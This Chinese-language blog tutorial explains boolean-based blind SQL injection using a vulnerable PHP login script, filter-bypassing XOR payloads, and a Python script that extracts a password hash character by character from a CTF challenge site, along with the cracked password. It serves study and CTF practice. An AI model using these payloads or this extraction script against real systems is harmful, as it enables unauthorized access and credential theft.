几种sql盲注

布尔盲注

漏洞解释:根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。

应用场景:根据用户名和密码的输入,页面返回密码错误和用户名错误两种类型。利用返回不同,逐个拆解密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
auth.php

$username = $_POST["username"];
$username = str_replace(' ', '', $username); //过滤空格
$password = $_POST["password"];
$sql = "select password from admin where username = '".$username."'";
$result = mysql_query($sql);
$rowcount = mysql_num_rows($result);
if $rowcount == 0{
echo '用户名错误';
}else{
while ($rowcount--){
if ($username = 'admin' and $password = $result[$row]){
echo '密码错误'
}
}
}

payload:

1
username = "admin'^(ascii(mid((password)from(str(1)))=ord(1)^1#"

^表示异或,将username分为三段,admin'(假设存在该用户名)和1异或为0,所以username的真值由(ascii(mid((password)from(str(1)))=ord(1)决定。

1
2
3
4
5
mid()函数
mid(“kangel” from(str(3)) //返回"kangel"从第三个字符开始的所有字符,即"gel"
assic()函数
assic("abc") //返回“abc”第一个字符的assic值,即97
(ascii(mid((password)from(str(1)))=ord(1) //password第一个字符assic值与"1"的assic值(49)进行比较

因此,若过滤了=,则可以替换为

1
username = "admin'^(ascii(mid((password)from(str(1)))<>ord(1)^0#"

例题:http://web.jarvisoj.com:32787/login.php

判断登录漏洞类型,输入adminadmin返回密码错误,输入kangel123返回用户名错误

继续判断过滤字符,username输入:

1
2
admin'^(ascii(mid((password)from('1'))<>97^0#"  //用户名错误
admin'^(ascii(mid((password)from(1)))=97)^0# //密码错误

该payload有效,猜测密码为md5值存储,上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests as r

str_hex = '0123456789abcdef'
url = "http://web.jarvisoj.com:32787/login.php"
password = ""

for index in range(1, 33):
for i in str_hex:
username = "admin'^(ascii(mid((password)from({})))<>{})^0#".format(str(index),ord(i))
data = {
'username': username,
'password': 'admin'
}
print(username)
s = r.post(url, data=data)
if "密码错误" in s.text:
password += i
print(password)
break
print(password)

得到password:334cfb59c9d74849801d5acdcfdaadc3,MD5解密得:eTAloCrEP,用admineTAloCrEP登录得到flag。

时间盲注

-------------本文结束感谢您的阅读-------------